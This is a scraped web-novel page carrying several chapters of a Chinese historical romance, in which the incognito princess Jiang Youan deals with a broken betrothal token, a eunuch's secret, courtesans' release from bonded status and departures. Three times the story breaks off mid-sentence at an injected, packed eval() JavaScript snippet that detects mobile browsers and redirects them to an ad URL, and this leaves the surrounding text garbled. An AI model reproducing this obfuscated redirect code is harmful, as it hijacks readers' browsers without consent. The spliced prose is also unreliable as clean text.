姜佑安站起身来,向周通海说道:“你的想法我已经很清楚了,恐怕你用这套说辞,也说不动杨恩,不如你就站在一边,让周帛去跟杨恩说。” 周通海跟着站起身来,高兴地点了点头,“我也是这么想的,孩子跟长辈说话,总有点隔阂,不如他们年轻人自己去说,我都跟帛儿交待好了,让他们聊就是了,我可以先回避。” “不用回避,你要是信得过我的话,就在这里等着吧,我带周帛去见杨恩,聊完了再把她送回来。”姜佑安说道。 “这,姜院长教育了这么多女学生,从没出过什么事,我对您当然是信任的。”周通海有些犹豫地说道。 “那就好。”姜佑安牵起周帛的手,周帛顺势站了起来,和她一起走了出去。 走出了院门,姜佑安见周通海没有跟来,于是边走边向周帛问道:“你真的想跟杨恩成亲吗?” “我说不好。”周帛轻声答道。 “你有什么想法就跟我说,我会帮你的。”姜佑安说道。 “王公子,李长风和杨恩比,我更喜欢杨恩。”周帛说道。 “为什么?因为他长得好看?”姜佑安问道。 周帛笑着点了点头,“姜院长也觉得他长得好看?” “当然。”姜佑安也笑了,“不过,选男人也不能光看长相。” “杨大哥有什么缺点吗?”周帛好奇地问道。 “他有点孤僻,不爱说话,很少笑,对女人也不太热情,你要是嫁给他,估计会觉得很无聊。”姜佑安认真地说道。 “我爹说杨大哥的爹也不太说话,但对他老婆特别好,我爹说杨大哥也会对我好的。”周帛说道。 “你很相信你爹?”姜佑安问道。 “我爹对我很好的,他不会害我。”周帛说道。 “要是你爹要你嫁给王公子,你也会嫁吗?”姜佑安问道。 “我爹挑的人,不会错的,他觉得王公子不好,就不让我嫁了,他说杨大哥好,我也觉得杨大哥好,要是我能嫁给我爹好友的儿子,我爹也会高兴的。”周帛说道。 姜佑安皱起了眉头,“你嫁人,只是为了让你爹高兴?你自己的想法呢?你想清楚了吗?” 周帛听了,认真地想了想,却理不清自己的思绪。 姜佑安停下来脚步,两手把着周帛的肩膀劝道:“周帛,多想想你自己的感受,不要总是被别人带着走,你本来是不想成亲的,袁萱草劝劝你,你就接受了王公子,你爹说王公子不好,你就由着你爹拒绝王公子,你爹说杨恩好,你就接受杨恩,你自己的想法呢?你不是说想要向我和袁竹一样做出一番事业来吗?” “可是……”周帛疑惑地看着姜佑安,“可是我爹说,嫁了人也能有自己的事业,袁老板不是已经成亲了吗?我听说院长你也要跟戴老师成亲了。” “你爹说得对,成亲之后也能有自己的事业,但他没跟你说的是,那是对男人的说法,女人就不一样了,一旦成了亲,相夫教子就成了你的事业,你再没有精力做其他的事了,你本来可以在外面骑马射箭,为什么一定要去内宅生孩子做家务?”姜佑安说道。 周帛笑了笑,“杨大哥应该不会禁止我射箭的。” 姜佑安愣了一下,垂下手来,“你为什么会这么向往和男人成亲?” “我爹说,女人都得嫁人的,以后我只要找一个像我爹这样,或者像我姐夫那样的男人,我的后半辈子就不用愁了。”周帛说道。 “要是找不到那样的男人呢?要是以后你丈夫变心了,对你不好呢?”姜佑安问道。 “怎么会呢?杨大哥我也是知道的,他对我们这些学生都挺好的,学堂里的桌子椅子坏了去找他,他马上就过来修,从没有怨言,杨大哥肯定会是个好丈夫的。”周帛说道。 姜佑安见跟她说不通,也只好妥协,“好吧,你这样的个性,要是跟杨恩成亲,后半辈子说不定真的能过得很好。” 周帛有些害羞地笑了,“我就怕杨大哥不喜欢我,不愿意接受我。” “先大胆示爱,不成再说。”姜佑安鼓励她道。 姜佑安带着周帛来到杨恩的院门口,院子里杨恩正在锯木头。 看到姜佑安来了,杨恩放下了锯子,迎了上来,“姜院长,来找我有什么事吗?” 姜佑安笑了笑,回答道:“是周帛找你有事。” 杨恩看向周帛,周帛红着脸走过来,从怀里掏出一块半圆形的玉璧,双手拿着递给了杨恩,“杨大哥,这是你家的传家宝,是你爹给我爹留作信物的,这么多年,我爹一直留着它,现在可以物归原主了。” 杨恩犹豫了一下,没有伸手去拿,“这不是我的,你认错人了。” “没有认错,我记得你,你说长大后要来娶我的,是你亲手把这半块玉璧放在我手里的,当时李叔叔还要我叫他爹,说我们以后就是一家人了,自从你们走后,我们一直在等着你们回来。”周帛说道。 姜佑安知道,这些都是周通海教周帛说的,周帛的脸这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109214|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么红,是以为她在撒谎,不过,姜佑安并没有去拆穿她,只是在一旁静静地看着。 杨恩听了,紧抿着嘴唇,没有说话。 “这玉璧的另一半在你手里吧,我们是一家人,是从小就注定了的,你把你的那一半拿出来,我们就能成亲了,你还做回李宗本,做回李叔叔的儿子,我们一起为李家绵延子嗣,你爹娘在天之灵知道了,也会为你开心的。”周帛红着脸说道。 杨恩的眉间皱起,他抬手拿起周帛手中的玉璧,用力摔在了地上。 “信物不在了,我们之间的婚约也不作数了,你回去吧。”杨恩说道。 看着玉璧在坚硬的土地上碎成几块,周帛的眼泪涌了出来,她不知所措地看着姜佑安。 姜佑安也没想到杨恩会突然把玉璧摔碎,赶忙把周帛抱在怀里安慰,“杨恩,有话好好说,你怎么还把东西摔了?你不是你家的传家宝吗?碎了多可惜。” “另一半就被我给当了,这一半留着也没什么用,李家已经没了,也不用留什么传家宝了。”杨恩冷漠地说道。 “李家怎么就没了?这不是还有你在吗?”周帛泪眼婆娑地问道。 “我早就不是李家人了,没有人可以为李家绵延子嗣,你也不用给自己背上这样的包袱,你有自己的人生,别再来找我了。”杨恩说道。 周帛听了他的话,哭得更厉害了,“你,是不是讨厌我?” 杨恩皱起了眉头,他闭着嘴,深吸了一口气,仿佛是下定了决心。 “是,我讨厌你。”杨恩说道。 “为什么?”周帛问道。 “没有为什么,我就不想娶你,你走吧。”杨恩转身向屋里走去。 周帛想着杨恩的背影喊道:“我们两家的友谊,李叔叔的心愿,你全都不顾了吗?李叔叔也希望我们能成为一家人。” 杨恩的脚步有片刻的迟疑,却并没有停下。 周帛追了上去,拉住了杨恩的胳膊,“我爹是个重情义的人,他很重视和李叔叔的友情,也很看重你,他想要带你回家说说话,叙叙旧,都不行吗?” 杨恩甩了一下胳膊,没料到周帛手上力气很大,根本甩不开她。 “过去的事我都忘了,没什么好聊的。”杨恩说道。 “我爹都记得,你肯定想听听你爹和你娘的往事吧,我让我爹讲给你听。”周帛说道。 杨恩转过身来,不耐烦地说道:“周姑娘,那些过去的事,我不想听,你不要再缠着我了行不行?” “不行!”周帛顶着明晃晃两道泪痕,紧紧抓着杨恩的胳膊不肯松手,“我们是从小定下的亲事,我爹让我嫁给你,你不娶我,必须给我一个明确的理由!” 两人僵持了片刻,杨恩向姜佑安发出求救的眼神,姜佑安耸了耸肩,表示自己无能为力。 杨恩叹了口气,无奈地说道:“好,我告诉你理由,你先松手。” “你想跑进屋里去,把我关在外面是不是?你先告诉我,我再松手。”周帛说道。 杨恩抬头,向四周看了看,然后低头凑到周帛的耳边,压低了声音对她说道:“我是个太监,没办法娶你。” 184. 脱籍 周帛慌忙松了手,用震惊的眼神看着杨恩,随后她又觉得这样的目光太无礼,赶忙低下了头。 杨恩面色平静,温柔地问道:“听清楚了吗?” 周帛赶忙点头,“对不起,我这就回去了。” 看到周帛慌慌张张跑出去,姜佑安奇怪地看着杨恩,“我以为你现在脾气变好了呢,却不想还是这么爆裂,你跟她说了什么?把她吓成这样。” “没什么,姜院长,你以后不要带她来找我了,还有她父亲,我不想见到他们。”杨恩说着,走过去拿起了锯子,继续锯木头。 “行,这里是你家,你说了算。”姜佑安笑了笑,转身离开了。 姜佑安回到袁家的时候,看到周通海正在大门口等着他,周帛躲在他身后,不停地抹眼泪。 周通海看到姜佑安走近,忙迎了上去,“姜院长,这是怎么了,帛儿怎么自己跑回来了?光哭也不说话,到底发生了什么?李宗本欺负她了吗?” “没有,杨恩不知道跟周帛说了一句什么话,就把她吓跑了。”姜佑安如实说道。 “一句话?就一句话而已,至于吓成这个样子吗?他说了什么?”周通海问道。 姜佑安摇了摇头,“不知道,我当时离得远,没听见。” 周帛过来拉扯周通海的胳膊,“爹,我都说了我不嫁了,我们回去吧!” 周通海见女儿哭得这么伤心,姜佑安也不知道是什么原因,只好向姜佑安告辞,带着女儿先回去了。 接下来的几天,姜佑安都没有再看到周帛,只有周通海常来给杨恩送些衣物吃食,听说杨恩不愿意见他,他把东西放下就走了。 知道公主不收礼也不见客,来送礼和来拜访的人变少了,袁家又恢复了往日的平静。 这天,姜佑安在屋檐下看书,姜白凤跑了进来,“姜院长,知府大人和知州大人在门口,问你方不方便见他们。” 姜佑安起身进了堂屋,让姜白凤把人请进来,又让徐洪愿备了茶。 姜佑安在主座上坐着,王世镜和展昌来向她行礼,她也没起身,只让两人坐了,徐洪愿给两人上了茶水。 “今天两位大人一起前来,可是有什么要事?”姜佑安问道。 “蒋启连和吴思恭的案子已经审结,微臣是特意来向公主殿下禀告的。”展昌说道。 姜佑安点了点头,示意他继续说下去。 “他们诬陷公主谋反已是大罪,其中还牵涉到私放死囚霍祭太,胁迫百姓做伪证,勒索商户等罪名,微臣判处蒋启连、吴思恭、李贵等人死刑,案卷已经上交了刑部,相信很快就会得到批复,之前被搜走的弓箭,微臣也一并给您送过来了。”展昌说道。 “刑部知道了,皇上很快也会知道吧,希望不会吓到他。”姜佑安以嘲弄的语气,笑着说道。 “殿下不必担心,我已经向皇上报告了您的行踪,现在,来接您回京的人已经在路上了。”王世镜说道。 姜佑安看向王世镜,“我还以为叔叔会宽限我几天,原来这么着急要送我回去。” “殿下住在这种地方,还不肯让我增加守备,我怎么能放心?殿下还是尽快回京的好。”王世镜说道。 “行吧,反正早晚也是要走的。”姜佑安看向展昌,“此案只判了犯人私刑,没有株连吧。” “是,按照王大人的吩咐,没有株连。”展昌说道。 “那就好,秦虹秦老板怎么样了?”姜佑安问道。 “当日问完话,就已经把她放回去了,殿下不必担心。”展昌答道。 姜佑安突然想到了什么,“对了,那对灯笼铺的夫妻,庆丰镇上有一个灯笼铺起火,烧死了两个人,这个案子你知道吗?” “经霍祭太的同伙招认,此案是霍祭太命人去做的,动手的人都已经下狱了。”展昌答道。 “不知道他们还有没有亲属,查明案情,给亲属一些安葬费作为补偿也好。”姜佑安说道。 “是,回去我就按殿下的吩咐办。”展昌招了招手,一个小厮从他身后走出来,来到姜佑安的面前,打开了手上捧着的木盒,里面放着满满的银锭子。 “这是三百五十两银子,据吴思恭供述,这是他们从殿下这里勒索去的,现在物归原主。”展昌说道。 小厮把木盒放在桌上,便退了下去,姜佑安只略看了一眼,“其他百姓被勒索的钱财也都还回去了?” “是,我们将蒋启连和吴思恭的家产悉数变卖,已经优先把百姓们的钱还了。”展昌说道。 姜佑安点了点头,“这可是一桩大好事,展大人事办得这么利落,可真得给你好好记上一功。” “殿下过奖了,我只是按殿下的吩咐办而已,是殿下仁慈,心念百姓疾苦。”展昌说道。 “既然要做好事,我还有一件事要麻烦展大人。”姜佑安微笑着说道。 “殿下请讲。”展昌说道。 “我想让县里官伎都脱离贱籍,成为良人。”姜佑安说道。 “官伎大多是罪人家眷,不能轻放。”展昌向王世镜看了一眼,又向姜佑安问道:“殿下可是和哪位官伎有什么私交?若是只让一两位脱籍,那还好办些。” “这些女人们在家里从父从夫,父亲丈夫犯了事,她们无从知晓,也无力阻止,却要因此被牵连,我觉得她们甚是无辜,即便是没有私交,我也想要放她们自由。”姜佑安说道。 “这个…”展昌又看了王世镜一眼,“这些女子大多家破人亡,放了她们自由,她们名声不好,嫁不了好人家,也无法谋生,倒不如在营房里,有吃有穿,起码不会饿死。” 姜佑安板起脸来,“展大人,听你这么说,是觉得做官伎也是个不错的营生?不如放了她们自由,你去做官伎?” 展昌赶忙站了起来,向姜佑安鞠躬行礼,“是微臣失言,还望殿下赎罪。” 姜佑安慢悠悠喝了口茶,才让展昌平身,“我们袁家空着的房间还有不少,她们无处可去,直接来这里住就是了,我自会给她们安排。” 展昌擦了擦额头的汗,只盼着王世镜赶紧开口揽下这件事,可王世镜就像是没听见一样,他只好向姜佑安说道:“此事我会向上请示,只是县里祭祀和招待都少不了歌伎舞伎,只怕到时候……” “到时候怎么了?少了官伎就不能祭祀了?没有女人陪着,你们就吃不下饭了?”姜佑安生气地问道。 “殿下说的是。”展昌低头应道。 王世镜这时才终于开了口,“殿下,此事不能着急,展大人对泰安县的情况也不熟悉,你总要容展大人查一查这些官伎身涉什么案件,能不能轻放,再做决定吧。” 展昌赶忙附和道:“是是是,我对这些官伎全无了解,等我回去查看一下,若是没有牵扯到重大案件里,放她们脱籍也无妨。” “行,你今天就回去查,明天过来回我。”姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有,我就是想来看看她,想知道她会有什么结局,也许还会有我可以帮忙的地方。”郭英说道。 “你为什么对心柔这么上心?”姜佑安问道。 “你还记得我曾经跟你说过,我的邻居家的那个女孩子吗?”郭英说道。 姜佑安惊讶地问道:“她就是心柔?” 郭英摇了摇头,“不是,看到心柔,我常想到她,不知道她现在过得怎么样,会不会也像心柔这么幸运,遇到能帮她的人。” 姜佑安不能给她肯定的答案,只能轻声安慰道:“她要是知道童年的玩伴还在牵挂着她,也会觉得开心吧” 郭英微微一笑,笑得有些伤感,她站起身来,“我该回去了。” “我送送你。”姜佑安也站起身来,招呼在茶馆帮忙的女孩子过来收东西,“这点心我们没动,你们分着吃吧。” 姜佑安陪着郭英出了园门,见今天守在门口的是春花。 “怎么是你在这里?”姜佑安问道。 “我跟袁姐姐说我想挣点儿钱,袁姐姐让我来这看着的。”春花笑着说道。 姜佑安送走了郭英,去阮荷房里找阮晨烟,“晨烟,你弟弟今天怎么没来?” 阮晨烟正在教心柔做绢花,听到姜佑安提起她弟弟,心里不太高兴,赌气说道:“他以后都不会来了。” 185. 决裂 “怎么了?”姜佑安向一旁做针线活的阮荷问道:“她跟弟弟吵架了?” 阮荷微笑着摇了摇头。 “没有!是我跟阮家决裂了,以后我就跟着我姐,不回去了,也不给他们钱了。”阮晨烟说道。 姜佑安在三人不远处的椅子上坐了,好奇地问道:“决裂了?为什么?之前袁竹劝你搬过来,你不是还不愿意吗?怎么突然想通了?” 阮晨烟叹了口气,放下了剪刀,转过身来面对着姜佑安,“我才看明白,他们仨才是一家人,我和我姐都是外人。” “怎么这么说?”姜佑安问道。 “公主殿下,你不是有个哥哥吗?就是皇帝的儿子。”阮晨烟说道。 姜佑安觉得她这话说得很奇怪,“不是在说你弟弟的事吗?这跟我哥有什么关系?” “公主殿下的哥哥上次从这里走的时候,看到我弟在园子门口守门,说我弟长得好看,问我弟愿不愿意跟他去京城。”阮晨烟说道。 姜佑安听得眉毛都拧在了一起,这个废物大哥,整天沉迷声色,这么多年没有一点儿长进,拐不走姐姐,又看上了弟弟。 “你弟弟答应了?”姜佑安问道。 “我弟说他想去京城,不过要先回去告诉爹娘一声,你哥哥就送我弟回了家,说要给我爹娘一百两银子,把我弟带走,我爹娘不肯,你哥哥一直加到五百两银子,我爹娘还是不肯,把你哥哥赶走了,还不许我弟以后再过来,省得他被别人拐跑。”阮晨烟说道。 “你爹娘这么做,也挺对的啊,你为什么这么生气?”心柔不解地问道。 “心柔姐姐,你不知道,当初一个有钱人要娶我姐当小妾,我爹收了人家一百两银子,就要把我姐卖了,我以为是我们家穷,没有办法,我爹要是一百两把我卖掉,我也能接受,可是,有人要买我弟,给了五百两,我爹都不舍得,我弟是我们家的宝贝,给多少钱都不能卖,我和我姐就可以随便卖掉,心柔姐姐,你说,我和我姐是不是这个家的外人?是不是他们仨才是一家人?”阮晨烟握着心柔的手问道。 心柔眉头轻皱,有些为难地说道:“男孩和女孩,到底是不一样的,要是把男孩卖掉,你们家不就绝后了吗?” 阮晨烟失望地松开了心柔的手,“你为什么要替他们说话?” 心柔赶忙道歉,“对不起,我不是说你们不重要,只是有些人就是这么想的,他们觉得有男孩才是有后,女孩早晚是要嫁出去的。” “心柔姐姐说得对,我爹娘确实是这么想的,但我不这么想,所以我从家里逃出来了,以后也不打算再回去。”阮荷说道。 “我跟我姐一样,我也不回去了。”阮晨烟说道。 “不回去也好,我以后也在这里住下了,我们一起做绢花,一起读书,不也挺好。”心柔笑着说道。 “嗯。”阮晨烟点了点头,又拿起了剪刀。 姜佑安见阮晨烟已经做好了决定,也没再说什么,而是来到了阮荷的身边,拿起了她手边刚做放下的香囊,“这又是给谁做香囊呢?” 阮荷笑了笑,“是杨大哥托我给他做的。” “杨恩?他要香囊干什么?难道是有心上人了?”姜佑安随口问道。 阮荷摇了摇头,“不知道。” 姜佑安把香囊拿在手里掂量了一下,“这个怎么比你给我的那个沉这么多?你给他放什么好料了?” “除了这些干花,我还能放什么?”阮荷笑着说道,“就是放了什么好料,那也是杨大哥自己准备的。” 自己准备的?杨恩能准备什么?姜佑安捏了捏香囊,感觉到里面有一些坚硬的东西,她瞬间明白了。 “这香囊做好了?”姜佑安问道。 “做好了,等下午我就给他送过去,问问他给我什么谢礼。”阮荷说道。 “正好我闲来无事,我去帮你跑着一趟吧,保证帮你把谢礼要回来。”姜佑安说道。 阮荷笑了笑,“那就麻烦公主殿下了,谢礼就不用了,我就是开个玩笑。” “不错啊,小阮现在都会开玩笑了。”姜佑安笑着点了一下阮荷的脑门,“不过,不许叫我公主殿下。” “为什么?公主殿下听起来多厉害啊。”阮晨烟说道。 “我还是觉得院长更厉害一点儿,你们忙,我去找杨恩了。”姜佑安说着走出了阮荷的房间。 姜佑安来到杨恩的小院时,杨恩正在凳子上发呆。 “晒太阳呢?”姜佑安走过来跟杨恩打着招呼。 “姜院长,你怎么来了?”杨恩起身问道。 “你托小阮做的香囊做好了,我来给你送过来。”姜佑安说道。 杨恩伸手接过香囊,微笑着说道:“多谢你了。” “小阮让我问问你,给她准备了什么谢礼。”姜佑安笑着说道。 杨恩把香囊收了起来,回屋拿了个笔架出来,“这是我给小阮的谢礼,劳烦姜院长回去的时候带给她。” “我就是随口一说,你还真准备谢礼了啊?”姜佑安接过来,看见笔架的表面被打磨得很光滑,“你以前从没有主动让小阮给你做过什么,这次这么用心,这香囊是要送给哪个姑娘的?” “没有什么姑娘,我是打算自己留着的。”杨恩说道。 姜佑安见杨恩不想承认,只好直接向他问道:“你那香囊里装着的,是摔碎的玉璧吧?” 杨恩只微微一笑,并没有回答。 “你既然在意这东西,何苦把它摔了呢?”姜佑安说道。 “我不能娶周帛,不摔了它,周家人是不会放弃的。”杨恩说道。 “周通海是你父亲的好友,你真的不想跟他聊一聊吗?”姜佑安说道。 杨恩坐在椅子上,拿起一块木头削起来,“不想,过去的事,我都不想再提了。” 姜佑安在杨恩面前蹲下,轻声说道:“我知道你是介意自己认了杨天石做父亲,可是,你也只是为了生存而已,周家人会理解的。” “你还记得杨天石?”杨恩停下手,抬头问道。 姜佑安点了点头,“认太监做父亲,没什么大不了的,改了姓,也算不得什么大事,周帛肯定不会介意的,你要是有意,不如坐下来,跟周帛好好聊聊?” 杨恩放下手里的东西,犹豫了片刻才说道:“公主殿下,你还记得有一年中秋,你因为感染了风寒,没有去宫中参加中秋宴会,是杨天石把皇上赐的御膳送到了你府上吗?” 姜佑安想了想,“好像是有这么回事,怎么突然说起这个?” 杨恩把自己板凳搬了给姜佑安坐,自己坐在了一旁的木头上,“那天,杨天石带了一个小太监一起去,你夸那个小太监长得好看,还问了他的名字,杨天石跟你介绍说,那是他新认的干儿子。” “那个人,就是你?”姜佑安不敢置信地问道。 “是我,那个时候,我还不叫这个名字,我也不敢相信,在我因为生病被赶出皇宫回到故乡之后,竟然会在机缘巧合之下,被公主殿下给救了,还在这里有了住所,学了谋生的手艺。”杨恩平静地说道。 那个孩子,竟然就是杨恩?姜佑安还是有些不能相信,“你是什么时候进皇宫的?” “在我十岁那年,我爹病死了,我们的带的钱也被偷了,为了给我爹买副棺材,我就进宫当了太监,我从小身子弱,经常生病,本想着把我爹埋了之后,我要是死了,正好一家人团聚,没想到就这样苟延残喘地活了下来。”杨恩说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118433|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你从十岁起,就一直在皇宫里?”姜佑安问道。 “是,开始那几年,我只是在干些洒扫之类的粗活,后来被杨天石看中,被调去他手底下干活,再后来,他就认了我当他的干儿子。”杨恩看着姜佑安,轻轻笑了笑,“其实,在我跟着杨天石一起去公主府之前,我在宫里就已经见过你很多次了。” 姜佑安沉默了片刻,“这么说,你早就认出我来了?” “一开始,我还觉得你只是碰巧跟公主长得相似,但后来听说你是从京城来的,我就基本确定了,只是,我不知道原本应该去历国和亲的你为什么会出现在这里,你有心隐瞒身份,我也就不好拆穿。”杨恩说道。 姜佑安内心感到十分震撼,想到自己和杨恩年纪相当,十岁时的自己在皇宫里享受天家富贵、锦衣玉食,而十岁的杨恩却在伺候她们这些主子,甚至自己在皇宫住到十六岁,都从来没有注意过有他这号人,姜佑安不禁感叹,人世不公竟到如此地步。 “对不起。”姜佑安低下头,轻声道歉。 “公主殿下不必跟我道歉,你没有逼迫我什么,我知道你如今不在意身份尊卑,才会坦白跟你说这些,我现在能拥有这样的生活,已经觉得很满足了。”杨恩说道。 姜佑安抬起头来,“我不是公主了,我和你一样,改换了姓名,抛弃了过去,你是杨恩,我也只是姜佑安,我们还是一家人。” “嗯。”杨恩微笑着点了点头。 “我明白你为什么会做出这样的决定了,周家的事,我不会再劝你,过一阵,我要回京城一趟,你就留在这里。和袁竹她们一起等我回来吧。”姜佑安说道。 “你要回京?皇上知道你在这里了?”杨恩问道。 “王世镜在认出我的当天就派人往京城送信了,虽然我让他先不要告诉皇上,但他毕竟是皇上的臣子,不可能听我的。”姜佑安说道。 “皇上不会为难你吧?”杨恩又问道。 “不会的。”姜佑安笑了笑,“你也知道,他一向最疼我了。” 杨恩知道姜佑安说的是假话,如果皇上真的疼爱她,又怎么会让她去和亲。 “我陪你一起回去吧。”杨恩说道。 姜佑安站起身,拍了拍杨恩的肩膀,“你就留在这里吧,替我在这里好好生活,袁竹需要你,书院也需要你,你帮我好好守着她们吧。” 杨恩点了点头,站起身来,“我们在这里等你回来。” 从杨恩那里出来,时间已经接近正午,姜佑安缓缓走在小路上,阳光洒下来,已经有了炙烤的意味,路边的野草却完全不介意,向着太阳,尽情地舒展着身体。 书院还在放假,没有了学生往来,周围变得很安静,入耳的只有近处的虫鸣和村庄里鸡叫犬吠。 姜佑安轻轻舒了一口气,她喜欢这样平静安详的日子,只是不知道什么时候能再回来。 她转头向村口看去,村庄旁的田里都放好了水,远处有的农人赶着牛,正在犁田,有的农人已经卸下了犁,牵着牛准备回家吃饭去了。 村口出现了小孩子的声影,向着田里吆喝着吃饭了,那农人便应了一声,说干完剩下这点儿回去。 姜佑安不自觉地露出了微笑,脚步轻快地来到袁家大门口,看到大路上箫悦笙背着弓箭正往这边走来,她便站在路边等了一会儿。 “悦笙,你回来了。”姜佑安向箫悦笙打着招呼。 “嗯,回来了。”箫悦笙微笑着回应道,“姜院长,正好遇见你,我有件事想跟你说。” 正往大门走去的姜佑安停下了脚步,回头问道:“什么事?” “打扰了你和袁老板这么些时日,我想,是时候跟你们告别了,我要回家去了。”箫悦笙说道。 186. 告别 姜佑安露出惊讶的神色,没想到箫悦笙会在这个时候跟她辞行,“你要走?什么时候?你一个人回去?” “就这两日吧,等我跟春花她们说一声,就动身,我看她们住在这里挺好的,我也就放心了。”箫悦笙说道。 “我过几日要回京城去,要不你跟我走,我会想办法妥善解决你的事。”姜佑安说道。 “不必了,京城和我家是两个方向,你要回你的家,我也该回我的家去了,我的事,我会自己去解决。”箫悦笙说道。 “让你自己回去,我真的不放心。”姜佑安坦诚地说道。 箫悦笙嘴角轻轻弯起,眼神十分坚定,“这是我自己的事,你不用为我感到忧心,你、长风还有辛老师都教会了我很多,给袁老板干活,也让我攒下了一些钱财,这些足以支撑我回到故乡,为家人报仇雪恨。” 姜佑安想来想去,还是没什么话劝她,只好说道:“看来是到分别的时候了,我向南,你向北,我们都各自珍重吧。” “在家的时候,我一直生活在随时会死亡的恐惧里,却没想到此生还能逃出那里,更没想到会被公主救下,这也算是一段奇遇了。”箫悦笙笑着说道。 姜佑安握起箫悦笙的手,两人的手都因为骑马射箭而生了老茧,皮肤也有些粗糙。 “你要好好活着,我相信我们还有再相遇那天。”姜佑安说道。 箫悦笙也用力握住了姜佑安的手,“有公主记挂着我,我一定会格外小心的。” 春花从大门里跑了出来,蹦蹦跳跳地来到箫悦笙身边,“箫姐姐,你回来了!” “嗯,回来了。”箫悦笙放开姜佑安的手,笑着应道。 “那我们吃饭去吧,姜院长,饭都好了,阮姐姐正在找你呢。”春花拉着箫悦笙的手,和姜佑安一起走进了院门。 下午,姜佑安正在跟袁竹商量,要用展昌送回来的银子给箫悦笙买匹马的时候,龙世蓉和许家莺来到了袁家。 龙世蓉一进门就向姜佑安弯腰行礼,“参见公主殿下。” 许家莺和文珠也跟着行礼下拜,姜佑安笑着走上前去,把龙世蓉扶了起来,“你们跟我行什么礼?这么见外,是不是不拿我当朋友了?” “公主拿我们当朋友,是我们的荣幸,我们是求之不得啊。”龙世蓉笑着说道。 姜佑安白了龙世蓉一眼,“什么求之不得?别跟我来这一套,这里原本还是你家呢,别跟我客气,你们随便坐吧。” 文珠把一篮樱桃送到袁竹跟前,袁竹道了谢,接过去,放在了主座旁边的桌上。 许家莺在客座上坐了,兴奋地说道:“真没想到,我这辈子还能见到公主,这要是说出去,别人都不会信,公主竟然会来我们这种地方,还亲自教过我射箭!” “这有什么?你们认不出我是公主,这不是正好说明了,公主跟普通人一个样,没什么稀奇的。”姜佑安在主位坐了,看向一旁站着的文珠,“文珠,你也别站着了,坐下说话。” “是。”文珠应了一声,许家莺的下座坐了。 “你还记得文珠?”龙世蓉突然一脸认真地问道。 姜佑安觉得有些好笑,“你说什么呢?我跟文珠也见了这么多次了,怎么会不记得?” “在我介绍她给你认识之前,你没见过她吗?”龙世蓉问道。 姜佑安仔细端详着文珠的脸,袁竹给三人倒了茶,也看向了文珠。 文珠垂下眼帘,看向地面,“宫里宫女众多,殿下不记得也正常。” “你是从宫里来的?”姜佑安惊讶地问道。 文珠低着头没有说话,龙世蓉替她答道:“她是去年上元节从京城跑出来的,辗转了多地才来到了这里,之前我带她来找你,恰逢大皇子也在,她曾经伺候过大皇子,怕被认出来,就躲了起来,在我逼问之下,她才向我坦白,还说出了你的真实身份。” “我说你怎么会知道姜院长是公主呢,原来是这样。”许家莺说道。 “此事关系重大,我怕你被牵连其中,就没告诉你。”龙世蓉对许家莺说完,又看向姜佑安,“公主殿下,我知道宫女私自逃跑是重罪,但我还是想恳求你,不要追究文珠。” “冒认皇亲国戚更是重罪,你怎么会这么轻易就相信她的说辞?”姜佑安问道。 “当然不止有文珠的说辞,大皇子来的那天,你也在躲着他,很显然,你跟皇室是有关系的,而且,你还在我们当铺当过一只金耳环,那上面有龙形的浮雕,可不是一般人能用的。”龙世蓉说道。 “我记得我当耳环时,随便写了个瞎编的名字,你怎么知道那只耳环是我的?你家的伙计记住了我的长相,还是认识袁竹?”姜佑安问道。 “我家的伙计不记得你,也不认识袁竹,是我觉得这东西特殊,让他们以后收到龙纹的东西都要留个心眼,后来,又有一位老人家来当另一只耳环,那位老人家不识字,她说耳环是你给她的。”龙世蓉说道。 “哦,是她。”姜佑安想起那位姓姜的老人家,“我忘了跟她说,不要告诉别人是我给她的了。” “我还拿你写的借条和你当耳环时写的名字做了比对,字迹确实是一致的,去年冬天,你给我送来两件绣有龙纹的衣服,看你当时的反应,我就更加肯定了你的身份。”龙世蓉说道。 姜佑安笑了笑,“端午节那天,你突然说我是公主,真是把我吓了一跳,原来你早就在背后调查我了。” 龙世蓉笑着向姜佑安低下头,“还请公主殿下饶恕我们两个吧。” “我本来就没想追究你什么,至于文珠嘛,不想做下人伺候主子,也是人之常情,她在宫中肯定也受了不少委屈,才会冒险出逃,你这样维护她,她跟着你也挺好,我只当今天什么都没听见,完全不知道文珠是什么来历,也就没什么好追究的了。”姜佑安说道。 文珠站起身来,向姜佑安行了一礼,“多谢公主殿下。” “我什么都没做,你不必谢我,倒是我应该谢谢你,没有把我的身份散播出去.”姜佑安看着文珠,微笑着说道:“你坐吧,” 文珠点了点头,回去坐了。 姜佑安又看向龙世蓉和许家莺,“我过阵子要回京城,袁家的生意,还要请你们多多关照。” “公主殿下客气了,做生意本就是互惠 